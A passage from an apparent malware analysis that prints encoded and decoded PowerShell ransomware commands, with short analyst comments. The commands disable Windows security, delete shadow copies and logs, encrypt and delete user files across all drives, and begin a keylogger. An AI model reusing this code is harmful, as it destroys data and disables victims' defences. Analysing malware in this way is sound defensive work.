AbAAgAC0AcAByAG8AYwBlAHMAcwBuAGEAbQBlACAAaQBQAG8AZABTAGUAcgB2AGkAYwBlACAALQBGAG8AcgBjAGUADQAKAGsAaQBsAGwAIAAtAHAAcgBvAGMAZQBzAHMAbgBhAG0AZQAgAHYAbABjACAALQBGAG8AcgBjAGUADQAKAH0A

The command, when decoded, contains the following set of commands:

while($true){
wevtutil el | Foreach-Object {wevtutil cl "$_"}
REG add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f
REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
net stop VSS; REG add "HKLM\SYSTEM\CurrentControlSet\services\VSS" /v Start /t REG_DWORD /d 4 /f; vssadmin delete shadows /for=c: /all /quiet; vssadmin delete shadows /for=d: /all /quiet; vssadmin delete shadows /for=e: /all /quiet; vssadmin delete shadows /for=f: /all /quiet; vssadmin delete shadows /for=g: /all /quiet; vssadmin delete shadows /for=x: /all /quiet; vssadmin delete shadows /for=y: /all /quiet; vssadmin delete shadows /for=z: /all /quiet
netsh advfirewall set allprofiles state off
sc config wscsvc start= disabled
REG add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
net stop WinDefend; sc config WinDefend= disabled; REG add "HKLM\SYSTEM\CurrentControlSet\services\WinDefend" /v Start /t REG_DWORD /d 4 /f; REG add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f; sc delete windefend
REG add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v EnableSmartScreen /t REG_DWORD /d 0 /f; REG add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v EnableSmartScreen /t REG_DWORD /d 0 /f
net stop wuauserv
Net user $env:USERNAME /active:no
#YCkill -processname lsass -Force; kill -processname smss -Force; kill -processname conhost -Force; kill -processname dwm -Force; kill -processname svchost -Force; kill -processname explorer -Force
kill -processname steam -Force;Remove-Item (${env:ProgramFiles(x86)} + "\Steam") -Recurse -Force
kill -processname skype -Force;Remove-Item ($env:APPDATA + "\Skype") -Recurse -Force
kill -processname ts3client_win64 -Force;Remove-Item ($env:APPDATA + "\TS3Client") -Recurse -Force
REG add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
Remove-Item ([environment]::getfolderpath("Desktop") + "\*.*") -Recurse -Force;Remove-Item"C:\Users\Public\Desktop\*.*" -Recurse -Force
REG add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
#ZAkill -processname IExplore -Force; kill -processname MicrosoftEdge -Force
kill -processname Steam -Force
kill -processname Skype -Force
#ZDkill -processname Chrome -Force
kill -processname Firefox -Force
kill -processname ts3client_win64 -Force
kill -processname Origin -Force
kill -processname Word -Force
kill -processname Excel -Force
kill -processname Powerpoint -Force
kill -processname Pidgin -Force
kill -processname Opera -Force
kill -processname CyberGhost -Force
kill -processname iTunes -Force; kill -processname iTunesHelper -Force; kill -processname iPodService -Force
kill -processname vlc -Force
Lot of things going on here; modification of registry keys, stopping services, delete shadow copies, disabling firewall, disable the security service center, stopping and disabling AntiVirus (Bit defender), kill several processes, etc. 



powershell -win hidden -enc JABwAGEAcwBzAD0AKAAnAEkAdwBCAEgAQQBHADgAQQBOAHcAQgBTAEEARABjAEEAYwBBAEIAbABBAEcAUQBBAFEAZwBCADUAQQBIAGMAQQBZAFEAQgA2AEEARwBrAEEAZQBBAEEAagBBAEEAPQA9ACcAKQANAAoAJABkAHIAaQB2AGUAcwAgAD0AIAA2ADUALgAuADkAMAAgAHwAIABmAG8AcgBlAGEAYwBoACAAewBbAGMAaABhAHIAXQAkAF8AfQANAAoAZgBvAHIAZQBhAGMAaAAgACgAJABkAHIAdgAgAGkAbgAgACQAZAByAGkAdgBlAHMAKQAgAHsAZgBvAHIAZQBhAGMAaAAoACQAaQB0AGUAbQAgAGkAbgAgACgARwBlAHQALQBDAGgAaQBsAGQAaQB0AGUAbQAgACgAJABkAHIAdgAgACsAIAAiADoAXAAiACkAIAAtAHIAZQBjAHUAcgBzAGUAIAAtAGYAaQBsAHQAZQByACAAIgAqAC4AagBwAGcAIgApACkAewBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABoAGUAbABwAGUAcgAuAGUAeABlACAALQBlACAAJABwAGEAcwBzACAAJABpAHQAZQBtAC4ARgB1AGwAbABOAGEAbQBlACAAKAAkAGkAdABlAG0ALgBGAHUAbABsAE4AYQBtAGUAIAArACAAIgAuAGMAcgB5AHAAdAAiACkAOwAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgACQAaQB0AGUAbQAuAEYAdQBsAGwATgBhAG0AZQB9AH0ADQAKAGYAbwByAGUAYQBjAGgAIAAoACQAZAByAHYAIABpAG4AIAAkAGQAcgBpAHYAZQBzACkAIAB7AGYAbwByAGUAYQBjAGgAKAAkAGkAdABlAG0AIABpAG4AIAAoAEcAZQB0AC0AQwBoAGkAbABkAGkAdABlAG0AIAAoACQAZAByAHYAIAArACAAIgA6AFwAIgApACAALQByAGUAYwB1AHIAcwBlACAALQBmAGkAbAB0AGUAcgAgACIAKgAuAGoAcABlAGcAIgApACkAewBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABoAGUAbABwAGUAcgAuAGUAeABlACAALQBlACAAJABwAGEAcwBzACAAJABpAHQAZQBtAC4ARgB1AGwAbABOAGEAbQBlACAAKAAkAGkAdABlAG0ALgBGAHUAbABsAE4AYQBtAGUAIAArACAAIgAuAGMAcgB5AHAAdAAiACkAOwAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgACQAaQB0AGUAbQAuAEYAdQBsAGwATgBhAG0AZQB9AH0ADQAKAGYAbwByAGUAYQBjAGgAIAAoACQAZAByAHYAIABpAG4AIAAkAGQAcgBpAHYAZQBzACkAIAB7AGYAbwByAGUAYQBjAGgAKAAkAGkAdABlAG0AIABpAG4AIAAoAEcAZQB0AC0AQwBoAGkAbABkAGkAdABlAG0AIAAoACQAZAByAHYAIAArACAAIgA6AFwAIgApACAALQByAGUAYwB1AHIAcwBlACAALQBmAGkAbAB0AGUAcgAgACIAKgAuAGQAbwBjAHgAIgApACkAewBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABoAGUAbABwAGUAcgAuAGUAeABlACAALQBlACAAJABwAGEAcwBzACAAJABpAHQAZQBtAC4ARgB1AGwAbABOAGEAbQBlACAAKAAkAGkAdABlAG0ALgBGAHUAbABsAE4AYQBtAGUAIAArACAAIgAuAGMAcgB5AHAAdAAiACkAOwAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgACQAaQB0AGUAbQAuAEYAdQBsAGwATgBhAG0AZQB9AH0ADQAKAGYAbwByAGUAYQBjAGgAIAAoACQAZAByAHYAIABpAG4AIAAkAGQAcgBpAHYAZQBzACkAIAB7AGYAbwByAGUAYQBjAGgAKAAkAGkAdABlAG0AIABpAG4AIAAoAEcAZQB0AC0AQwBoAGkAbABkAGkAdABlAG0AIAAoACQAZAByAHYAIAArACAAIgA6AFwAIgApACAALQByAGUAYwB1AHIAcwBlACAALQBmAGkAbAB0AGUAcgAgACIAKgAuAGQAbwBjACIAKQApAHsAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAaABlAGwAcABlAHIALgBlAHgAZQAgAC0AZQAgACQAcABhAHMAcwAgACQAaQB0AGUAbQAuAEYAdQBsAGwATgBhAG0AZQAgACgAJABpAHQAZQBtAC4ARgB1AGwAbABOAGEAbQBlACAAKwAgACIALgBjAHIAeQBwAHQAIgApADsAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAkAGkAdABlAG0ALgBGAHUAbABsAE4AYQBtAGUAfQB9AA0ACgBmAG8AcgBlAGEAYwBoACAAKAAkAGQAcgB2ACAAaQBuACAAJABkAHIAaQB2AGUAcwApACAAewBmAG8AcgBlAGEAYwBoACgAJABpAHQAZQBtACAAaQBuACAAKABHAGUAdAAtAEMAaABpAGwAZABpAHQAZQBtACAAKAAkAGQAcgB2ACAAKwAgACIAOgBcACIAKQAgAC0AcgBlAGMAdQByAHMAZQAgAC0AZgBpAGwAdABlAHIAIAAiACoALgB4AGwAcwB4ACIAKQApAHsAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAaABlAGwAcABlAHIALgBlAHgAZQAgAC0AZQAgACQAcABhAHMAcwAgACQAaQB0AGUAbQAuAEYAdQBsAGwATgBhAG0AZQAgACgAJABpAHQAZQBtAC4ARgB1AGwAbABOAGEAbQBlACAAKwAgACIALgBjAHIAeQBwAHQAIgApADsAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAkAGkAdABlAG0ALgBGAHUAbABsAE4AYQBtAGUAfQB9AA0ACgBmAG8AcgBlAGEAYwBoACAAKAAkAGQAcgB2ACAAaQBuACAAJABkAHIAaQB2AGUAcwApACAAewBmAG8AcgBlAGEAYwBoACgAJABpAHQAZQBtACAAaQBuACAAKABHAGUAdAAtAEMAaABpAGwAZABpAHQAZQBtACAAKAAkAGQAcgB2ACAAKwAgACIAOgBcACIAKQAgAC0AcgBlAGMAdQByAHMAZQAgAC0AZgBpAGwAdABlAHIAIAAiACoALgB4AGwAcwAiACkAKQB7AEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGgAZQBsAHAAZQByAC4AZQB4AGUAIAAtAGUAIAAkAHAAYQBzAHMAIAAkAGkAdABlAG0ALgBGAHUAbABsAE4AYQBtAGUAIAAoACQAaQB0AGUAbQAuAEYAdQBsAGwATgBhAG0AZQAgACsAIAAiAC4AYwByAHkAcAB0ACIAKQA7ACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJABpAHQAZQBtAC4ARgB1AGwAbABOAGEAbQBlAH0AfQANAAoAZgBvAHIAZQBhAGMAaAAgACgAJABkAHIAdgAgAGkAbgAgACQAZAByAGkAdgBlAHMAKQAgAHsAZgBvAHIAZQBhAGMAaAAoACQAaQB0AGUAbQAgAGkAbgAgACgARwBlAHQALQBDAGgAaQBsAGQAaQB0AGUAbQAgACgAJABkAHIAdgAgACsAIAAiADoAXAAiACkAIAAtAHIAZQBjAHUAcgBzAGUAIAAtAGYAaQBsAHQAZQByACAAIgAqAC4AcABwAHQAIgApACkAewBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABoAGUAbABwAGUAcgAuAGUAeABlACAALQBlACAAJABwAGEAcwBzACAAJABpAHQAZQBtAC4ARgB1AGwAbABOAGEAbQBlACAAKAAkAGkAdABlAG0ALgBGAHUAbABsAE4AYQBtAGUAIAArACAAIgAuAGMAcgB5AHAAdAAiACkAOwAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgACQAaQB0AGUAbQAuAEYAdQBsAGwATgBhAG0AZQB9AH0ADQAKAGYAbwByAGUAYQBjAGgAIAAoACQAZAByAHYAIABpAG4AIAAkAGQAcgBpAHYAZQBzACkAIAB7AGYAbwByAGUAYQBjAGgAKAAkAGkAdABlAG0AIABpAG4AIAAoAEcAZQB0AC0AQwBoAGkAbABkAGkAdABlAG0AIAAoACQAZAByAHYAIAArACAAIgA6AFwAIgApACAALQByAGUAYwB1AHIAcwBlACAALQBmAGkAbAB0AGUAcgAgACIAKgAuAHAAZABmACIAKQApAHsAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAaABlAGwAcABlAHIALgBlAHgAZQAgAC0AZQAgACQAcABhAHMAcwAgACQAaQB0AGUAbQAuAEYAdQBsAGwATgBhAG0AZQAgACgAJABpAHQAZQBtAC4ARgB1AGwAbABOAGEAbQBlACAAKwAgACIALgBjAHIAeQBwAHQAIgApADsAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAkAGkAdABlAG0ALgBGAHUAbABsAE4AYQBtAGUAfQB9AA0ACgBmAG8AcgBlAGEAYwBoACAAKAAkAGQAcgB2ACAAaQBuACAAJABkAHIAaQB2AGUAcwApACAAewBmAG8AcgBlAGEAYwBoACgAJABpAHQAZQBtACAAaQBuACAAKABHAGUAdAAtAEMAaABpAGwAZABpAHQAZQBtACAAKAAkAGQAcgB2ACAAKwAgACIAOgBcACIAKQAgAC0AcgBlAGMAdQByAHMAZQAgAC0AZgBpAGwAdABlAHIAIAAiACoALgBtAHAANAAiACkAKQB7AEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGgAZQBsAHAAZQByAC4AZQB4AGUAIAAtAGUAIAAkAHAAYQBzAHMAIAAkAGkAdABlAG0ALgBGAHUAbABsAE4AYQBtAGUAIAAoACQAaQB0AGUAbQAuAEYAdQBsAGwATgBhAG0AZQAgACsAIAAiAC4AYwByAHkAcAB0ACIAKQA7ACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJABpAHQAZQBtAC4ARgB1AGwAbABOAGEAbQBlAH0AfQANAAoAZgBvAHIAZQBhAGMAaAAgACgAJABkAHIAdgAgAGkAbgAgACQAZAByAGkAdgBlAHMAKQAgAHsAZgBvAHIAZQBhAGMAaAAoACQAaQB0AGUAbQAgAGkAbgAgACgARwBlAHQALQBDAGgAaQBsAGQAaQB0AGUAbQAgACgAJABkAHIAdgAgACsAIAAiADoAXAAiACkAIAAtAHIAZQBjAHUAcgBzAGUAIAAtAGYAaQBsAHQAZQByACAAIgAqAC4AbQBwADMAIgApACkAewBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABoAGUAbABwAGUAcgAuAGUAeABlACAALQBlACAAJABwAGEAcwBzACAAJABpAHQAZQBtAC4ARgB1AGwAbABOAGEAbQBlACAAKAAkAGkAdABlAG0ALgBGAHUAbABsAE4AYQBtAGUAIAArACAAIgAuAGMAcgB5AHAAdAAiACkAOwAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgACQAaQB0AGUAbQAuAEYAdQBsAGwATgBhAG0AZQB9AH0ADQAKAGYAbwByAGUAYQBjAGgAIAAoACQAZAByAHYAIABpAG4AIAAkAGQAcgBpAHYAZQBzACkAIAB7AGYAbwByAGUAYQBjAGgAKAAkAGkAdABlAG0AIABpAG4AIAAoAEcAZQB0AC0AQwBoAGkAbABkAGkAdABlAG0AIAAoACQAZAByAHYAIAArACAAIgA6AFwAIgApACAALQByAGUAYwB1AHIAcwBlACAALQBmAGkAbAB0AGUAcgAgACIAKgAuAG0AbwB2ACIAKQApAHsAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAaABlAGwAcABlAHIALgBlAHgAZQAgAC0AZQAgACQAcABhAHMAcwAgACQAaQB0AGUAbQAuAEYAdQBsAGwATgBhAG0AZQAgACgAJABpAHQAZQBtAC4ARgB1AGwAbABOAGEAbQBlACAAKwAgACIALgBjAHIAeQBwAHQAIgApADsAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAkAGkAdABlAG0ALgBGAHUAbABsAE4AYQBtAGUAfQB9AA0ACgBmAG8AcgBlAGEAYwBoACAAKAAkAGQAcgB2ACAAaQBuACAAJABkAHIAaQB2AGUAcwApACAAewBmAG8AcgBlAGEAYwBoACgAJABpAHQAZQBtACAAaQBuACAAKABHAGUAdAAtAEMAaABpAGwAZABpAHQAZQBtACAAKAAkAGQAcgB2ACAAKwAgACIAOgBcACIAKQAgAC0AcgBlAGMAdQByAHMAZQAgAC0AZgBpAGwAdABlAHIAIAAiACoALgBtAGsAdgAiACkAKQB7AEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGgAZQBsAHAAZQByAC4AZQB4AGUAIAAtAGUAIAAkAHAAYQBzAHMAIAAkAGkAdABlAG0ALgBGAHUAbABsAE4AYQBtAGUAIAAoACQAaQB0AGUAbQAuAEYAdQBsAGwATgBhAG0AZQAgACsAIAAiAC4AYwByAHkAcAB0ACIAKQA7ACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJABpAHQAZQBtAC4ARgB1AGwAbABOAGEAbQBlAH0AfQANAAoAZgBvAHIAZQBhAGMAaAAgACgAJABkAHIAdgAgAGkAbgAgACQAZAByAGkAdgBlAHMAKQAgAHsAZgBvAHIAZQBhAGMAaAAoACQAaQB0AGUAbQAgAGkAbgAgACgARwBlAHQALQBDAGgAaQBsAGQAaQB0AGUAbQAgACgAJABkAHIAdgAgACsAIAAiADoAXAAiACkAIAAtAHIAZQBjAHUAcgBzAGUAIAAtAGYAaQBsAHQAZQByACAAIgAqAC4AcABuAGcAIgApACkAewBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABoAGUAbABwAGUAcgAuAGUAeABlACAALQBlACAAJABwAGEAcwBzACAAJABpAHQAZQBtAC4ARgB1AGwAbABOAGEAbQBlACAAKAAkAGkAdABlAG0ALgBGAHUAbABsAE4AYQBtAGUAIAArACAAIgAuAGMAcgB5AHAAdAAiACkAOwAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgACQAaQB0AGUAbQAuAEYAdQBsAGwATgBhAG0AZQB9AH0ADQAKAGYAbwByAGUAYQBjAGgAIAAoACQAZAByAHYAIABpAG4AIAAkAGQAcgBpAHYAZQBzACkAIAB7AGYAbwByAGUAYQBjAGgAKAAkAGkAdABlAG0AIABpAG4AIAAoAEcAZQB0AC0AQwBoAGkAbABkAGkAdABlAG0AIAAoACQAZAByAHYAIAArACAAIgA6AFwAIgApACAALQByAGUAYwB1AHIAcwBlACAALQBmAGkAbAB0AGUAcgAgACIAKgAuAHAAcwB0ACIAKQApAHsAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAaABlAGwAcABlAHIALgBlAHgAZQAgAC0AZQAgACQAcABhAHMAcwAgACQAaQB0AGUAbQAuAEYAdQBsAGwATgBhAG0AZQAgACgAJABpAHQAZQBtAC4ARgB1AGwAbABOAGEAbQBlACAAKwAgACIALgBjAHIAeQBwAHQAIgApADsAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAkAGkAdABlAG0ALgBGAHUAbABsAE4AYQBtAGUAfQB9AA0ACgBmAG8AcgBlAGEAYwBoACAAKAAkAGQAcgB2ACAAaQBuACAAJABkAHIAaQB2AGUAcwApACAAewBmAG8AcgBlAGEAY...
The second encoded command uses the same encoding and hidden options and contains the following PowerShell instructions

$pass=('IwBHAG8ANwBSADcAcABlAGQAQgB5AHcAYQB6AGkAeAAjAA==')
$drives = 65..90 | foreach {[char]$_}
foreach ($drvin$drives) {foreach($itemin (Get-Childitem ($drv + ":\") -recurse -filter "*.jpg")){C:\ProgramData\helper.exe -e $pass$item.FullName ($item.FullName + ".crypt");Remove-Item$item.FullName}}
foreach ($drvin$drives) {foreach($itemin (Get-Childitem ($drv + ":\") -recurse -filter "*.jpeg")){C:\ProgramData\helper.exe -e $pass$item.FullName ($item.FullName + ".crypt");Remove-Item$item.FullName}}
foreach ($drvin$drives) {foreach($itemin (Get-Childitem ($drv + ":\") -recurse -filter "*.docx")){C:\ProgramData\helper.exe -e $pass$item.FullName ($item.FullName + ".crypt");Remove-Item$item.FullName}}
foreach ($drvin$drives) {foreach($itemin (Get-Childitem ($drv + ":\") -recurse -filter "*.doc")){C:\ProgramData\helper.exe -e $pass$item.FullName ($item.FullName + ".crypt");Remove-Item$item.FullName}}
foreach ($drvin$drives) {foreach($itemin (Get-Childitem ($drv + ":\") -recurse -filter "*.xlsx")){C:\ProgramData\helper.exe -e $pass$item.FullName ($item.FullName + ".crypt");Remove-Item$item.FullName}}
foreach ($drvin$drives) {foreach($itemin (Get-Childitem ($drv + ":\") -recurse -filter "*.xls")){C:\ProgramData\helper.exe -e $pass$item.FullName ($item.FullName + ".crypt");Remove-Item$item.FullName}}
foreach ($drvin$drives) {foreach($itemin (Get-Childitem ($drv + ":\") -recurse -filter "*.ppt")){C:\ProgramData\helper.exe -e $pass$item.FullName ($item.FullName + ".crypt");Remove-Item$item.FullName}}
foreach ($drvin$drives) {foreach($itemin (Get-Childitem ($drv + ":\") -recurse -filter "*.pdf")){C:\ProgramData\helper.exe -e $pass$item.FullName ($item.FullName + ".crypt");Remove-Item$item.FullName}}
foreach ($drvin$drives) {foreach($itemin (Get-Childitem ($drv + ":\") -recurse -filter "*.mp4")){C:\ProgramData\helper.exe -e $pass$item.FullName ($item.FullName + ".crypt");Remove-Item$item.FullName}}
foreach ($drvin$drives) {foreach($itemin (Get-Childitem ($drv + ":\") -recurse -filter "*.mp3")){C:\ProgramData\helper.exe -e $pass$item.FullName ($item.FullName + ".crypt");Remove-Item$item.FullName}}
foreach ($drvin$drives) {foreach($itemin (Get-Childitem ($drv + ":\") -recurse -filter "*.mov")){C:\ProgramData\helper.exe -e $pass$item.FullName ($item.FullName + ".crypt");Remove-Item$item.FullName}}
foreach ($drvin$drives) {foreach($itemin (Get-Childitem ($drv + ":\") -recurse -filter "*.mkv")){C:\ProgramData\helper.exe -e $pass$item.FullName ($item.FullName + ".crypt");Remove-Item$item.FullName}}
Invalid character in input stream.
 This set of commands encrypts several set of files and removes the original file. 



powershell -win hidden -enc IAAkAGwAbwBvAHQAIAA9ACAAKAAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAIAArACAAIgBcAGQAeQBuAGEAXABsAG8AbwB0AFwASwBlAHkAbABvAGcAXAAiACkAOwAgAG0AZAAgACQAbABvAG8AdAAKAGYAdQBuAGMAdABpAG8AbgAgAEQAeQBuAEEAbQBpAHQAZQAtAEsAZQB5ACAAewAkAGQAYQB0AGUAYQBuAGQAdABpAG0AZQAgAD0AIABHAGUAdAAtAEQAYQB0AGUAIAAtAEYAbwByAG0AYQB0ACAAeQB5AHkAeQAtAE0ATQAtAGQAZAAtAEgASAAtAG0AbQA7ACAAJAB0AGkAbQBlACAAPQAgAEcAZQB0AC0ARABhAHQAZQAgAC0ARgBvAHIAbQBhAHQAIABIAEgALQBtAG0ACgBBAGQAZAAtAFQAeQBwAGUAIABAACIAIAAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7ACAAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABVAHMAZQByAFcAaQBuAGQAbwB3AHMAIAB7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AIAAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABHAGUAdABGAG8AcgBlAGcAcgBvAHUAbgBkAFcAaQBuAGQAbwB3ACgAKQA7AH0AIAAKACIAQAAKACAAIAAgACAAJABsAG8AZwBmAGkAbABlACAAPQAgACQAbABvAG8AdAAgACsAIAAiAGsAZQB5AGwAbwBnAF8AIgAgACsAIAAiACQAZABhAHQAZQBhAG4AZAB0AGkAbQBlACIAKwAgACIALgBsAG8AZwAiAAoAIAAgACAAIAAkAE0AQQBQAFYASwBfAFYASwBfAFQATwBfAFYAUwBDACAAPQAgADAAeAAwADAACgAJACQATQBBAFAAVgBLAF8AVgBTAEMAXwBUAE8AXwBWAEsAIAA9ACAAMAB4ADAAMQAKAAkAJABNAEEAUABWAEsAXwBWAEsAXwBUAE8AXwBDAEgAQQBSACAAPQAgADAAeAAwADIACgAJACQATQBBAFAAVgBLAF8AVgBTAEMAXwBUAE8AXwBWAEsAXwBFAFgAIAA9ACAAMAB4ADAAMwAKAAkAJABNAEEAUABWAEsAXwBWAEsAXwBUAE8AXwBWAFMAQwBfAEUAWAAgAD0AIAAwAHgAMAA0AAoACQAkAHYAaQByAHQAdQBhAGwAawBjAF8AcwBpAGcAIAA9ACAAQAAnAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACwAIABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAEEAdQB0AG8ALAAgAEUAeABhAGMAdABTAHAAZQBsAGwAaQBuAGcAPQB0AHIAdQBlACkAXQAgAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAcwBoAG8AcgB0ACAARwBlAHQAQQBzAHkAbgBjAEsAZQB5AFMAdABhAHQAZQAoAGkAbgB0ACAAdgBpAHIAdAB1AGEAbABLAGUAeQBDAG8AZABlACkAOwAgAAoAJwBAAAoACQAkAGsAYgBzAHQAYQB0AGUAXwBzAGkAZwAgAD0AIABAACcACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIALAAgAEMAaABhAHIAUwBlAHQAPQBDAGgAYQByAFMAZQB0AC4AQQB1AHQAbwApAF0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAEcAZQB0AEsAZQB5AGIAbwBhAHIAZABTAHQAYQB0AGUAKABiAHkAdABlAFsAXQAgAGsAZQB5AHMAdABhAHQAZQApADsACgAnAEAACgAJACQAbQBhAHAAYwBoAGEAcgBfAHMAaQBnACAAPQAgAEAAJwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgAsACAAQwBoAGEAcgBTAGUAdAA9AEMAaABhAHIAUwBlAHQALgBBAHUAdABvACkAXQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAATQBhAHAAVgBpAHIAdAB1AGEAbABLAGUAeQAoAHUAaQBuAHQAIAB1AEMAbwBkAGUALAAgAGkAbgB0ACAAdQBNAGEAcABUAHkAcABlACkAOwAKACcAQAAKAAkAJAB0AG8AdQBuAGkAYwBvAGQAZQBfAHMAaQBnACAAPQAgAEAAJwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgAsACAAQwBoAGEAcgBTAGUAdAA9AEMAaABhAHIAUwBlAHQALgBBAHUAdABvACkAXQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAAVABvAFUAbgBpAGMAbwBkAGUAKAB1AGkAbgB0ACAAdwBWAGkAcgB0AEsAZQB5ACwAIAB1AGkAbgB0ACAAdwBTAGMAYQBuAEMAbwBkAGUALAAgAGIAeQB0AGUAWwBdACAAbABwAGsAZQB5AHMAdABhAHQAZQAsACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAHAAdwBzAHoAQgB1AGYAZgAsACAAaQBuAHQAIABjAGMAaABCAHUAZgBmACwAIAB1AGkAbgB0ACAAdwBGAGwAYQBnAHMAKQA7AAoAJwBAAAoACQAkAGcAZQB0AEsAZQB5AFMAdABhAHQAZQAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAE0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHYAaQByAHQAdQBhAGwAawBjAF8AcwBpAGcAIAAtAG4AYQBtAGUAIAAiAFcAaQBuADMAMgBHAGUAdABTAHQAYQB0AGUAIgAgAC0AbgBhAG0AZQBzAHAAYQBjAGUAIABXAGkAbgAzADIARgB1AG4AYwB0AGkAbwBuAHMAIAAtAHAAYQBzAHMAVABoAHIAdQAKAAkAJABnAGUAdABLAEIAUwB0AGEAdABlACAAPQAgAEEAZABkAC0AVAB5AHAAZQAgAC0ATQBlAG0AYgBlAHIARABlAGYAaQBuAGkAdABpAG8AbgAgACQAawBiAHMAdABhAHQAZQBfAHMAaQBnACAALQBuAGEAbQBlACAAIgBXAGkAbgAzADIATQB5AEcAZQB0AEsAZQB5AGIAbwBhAHIAZABTAHQAYQB0AGUAIgAgAC0AbgBhAG0AZQBzAHAAYQBjAGUAIABXAGkAbgAzADIARgB1AG4AYwB0AGkAbwBuAHMAIAAtAHAAYQBzAHMAVABoAHIAdQAKAAkAJABnAGUAdABLAGUAeQAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAE0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAG0AYQBwAGMAaABhAHIAXwBzAGkAZwAgAC0AbgBhAG0AZQAgACIAVwBpAG4AMwAyAE0AeQBNAGEAcABWAGkAcgB0AHUAYQBsAEsAZQB5ACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAFQAaAByAHUACgAJACQAZwBlAHQAVQBuAGkAYwBvAGQAZQAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAE0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHQAbwB1AG4AaQBjAG8AZABlAF8AcwBpAGcAIAAtAG4AYQBtAGUAIAAiAFcAaQBuADMAMgBNAHkAVABvAFUAbgBpAGMAbwBkAGUAIgAgAC0AbgBhAG0AZQBzAHAAYQBjAGUAIABXAGkAbgAzADIARgB1AG4AYwB0AGkAbwBuAHMAIAAtAHAAYQBzAHMAVABoAHIAdQAKAAkAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAc